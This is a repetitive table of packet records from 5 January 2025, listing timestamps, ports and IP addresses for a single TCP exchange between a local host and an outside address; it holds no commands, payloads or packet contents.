Jan 5, 2025 17:49:03.553177118 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.553188086 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.553205967 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.553216934 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.553234100 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.553246021 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.553252935 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.553257942 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.553265095 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.553292036 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.590413094 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.590425968 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.590435982 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.590461969 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.590472937 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.590475082 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.590487957 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.590498924 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.590512037 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.590715885 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.605436087 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.605448008 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.605458021 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.605489016 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.605556965 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.605819941 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.605829954 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.605844975 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.605858088 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.605885983 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.605976105 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.620646954 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.620660067 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.620670080 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.620820045 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.621601105 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.621612072 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.621622086 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.621671915 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.621671915 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.624213934 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.624226093 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.624237061 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.624255896 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.624267101 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.624286890 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.624309063 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.634289980 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.634308100 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.634341955 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.634352922 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.634362936 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.634368896 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.634377956 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.634386063 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.634469032 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.634530067 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.634542942 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.634553909 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.634578943 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.634634972 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.674079895 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.674093008 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.674103975 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.674114943 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.674127102 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.674174070 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.674232006 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.674243927 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.674254894 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.674278021 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.674357891 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.686794996 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.686809063 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.686892986 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.686902046 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.686923027 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.686969995 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.687139034 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.687150002 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.687217951 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.687226057 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.687247038 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.687293053 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.703193903 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.703346968 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.703356981 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.703490019 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.709747076 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.709763050 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.709774017 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.709840059 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.709845066 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.709856033 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.709862947 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.709872007 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.709882021 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.709897041 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.709980965 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.710405111 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.710414886 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.710560083 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.715698957 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.715718031 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.715728998 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.715806961 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.715811968 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.715823889 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.715838909 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.715851068 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.715862036 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.715866089 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.715888977 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.719115019 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.756884098 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.756896019 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.756906033 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.757021904 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.757221937 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.757234097 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.757251024 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.757260084 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.757267952 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.757277012 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.757280111 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.757288933 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.757311106 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.768145084 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.768171072 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.768179893 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.768196106 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.768265963 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.769001961 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.769013882 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.769022942 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.769052029 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.786968946 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.786993980 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.787003994 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.787019014 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.787086964 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.791215897 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.791228056 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.791239023 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.791249037 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.791260004 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.791270018 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.791351080 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.791379929 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.791389942 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.791399002 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.791434050 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.791434050 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.791542053 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.791553020 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.791562080 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.791637897 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.797074080 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.797085047 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.797094107 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.797164917 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.797164917 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.797179937 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.797244072 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.797254086 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.797271013 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.797281981 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.797291994 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.797293901 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.797308922 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.797446966 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.839710951 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.839724064 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.839735031 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.839795113 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.839816093 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.839823008 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.839835882 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.839848042 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.839858055 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.839878082 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.839904070 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.839904070 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.849836111 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.849848032 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.849858999 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.850115061 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.850634098 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.850644112 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.850656033 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.850673914 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.850702047 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.850752115 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.872272968 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.872297049 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.872308969 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.872354984 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.872355938 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.872368097 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.872380018 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.872399092 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.872467041 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.872479916 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.872490883 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.872495890 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.872518063 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.872549057 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.872767925 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.872818947 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.872883081 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.878416061 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.878427982 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.878433943 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.878458023 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.878473997 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.878484964 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.878499985 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.878503084 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.878510952 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.878535986 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.878664970 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.880670071 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.880681038 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.880820990 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.923592091 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.923605919 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.923624992 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.923636913 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.923650980 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.923660994 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.923661947 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.923680067 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.923705101 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.923732042 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.923768997 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.925685883 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.931250095 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.931260109 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.931271076 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.931282997 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.931303024 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.931480885 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.931977987 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.931989908 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.932002068 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.932028055 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.953721046 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.953732967 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.953766108 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.953777075 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.953788042 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.953793049 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.953803062 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.953841925 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.953977108 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.953991890 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.954034090 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.954049110 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.954065084 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.954077959 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.954088926 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.954117060 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.954117060 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.959907055 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.959918022 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.959928989 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.959948063 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.959959984 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.959971905 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.959973097 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.959985971 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.960045099 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.960045099 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:03.960052013 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.960072041 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:03.960150957 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:04.005428076 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:04.005440950 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:04.005451918 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:04.005481958 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:04.005897045 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:04.005908966 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:04.005920887 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:04.005948067 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:04.006000042 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:04.006356955 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:04.006366968 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:04.006386042 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:04.006396055 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:04.006413937 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:04.006469011 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:04.012681961 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:04.012695074 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:04.012706041 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:04.012816906 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:04.013725042 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:04.013739109 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:04.013751030 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:04.013792038 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:04.014010906 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:04.044230938 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:04.044260025 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:04.044275999 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:04.044548988 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:04.044559956 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:04.044579983 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:04.044595957 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:04.044610023 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:04.044622898 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:04.045285940 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:04.045299053 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:04.045309067 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:04.045315027 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:04.045376062 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:04.045542002 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:04.045555115 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:04.045567036 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:04.045573950 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:04.045957088 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:04.054444075 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:04.054455042 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:04.054466009 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:04.054507017 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:04.054519892 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:04.054532051 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:04.054532051 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:04.054539919 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:04.054553032 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:04.054562092 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:04.054563999 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:04.054657936 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:04.054950953 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:04.054963112 CET	1129	49704	45.200.148.158	192.168.2.5
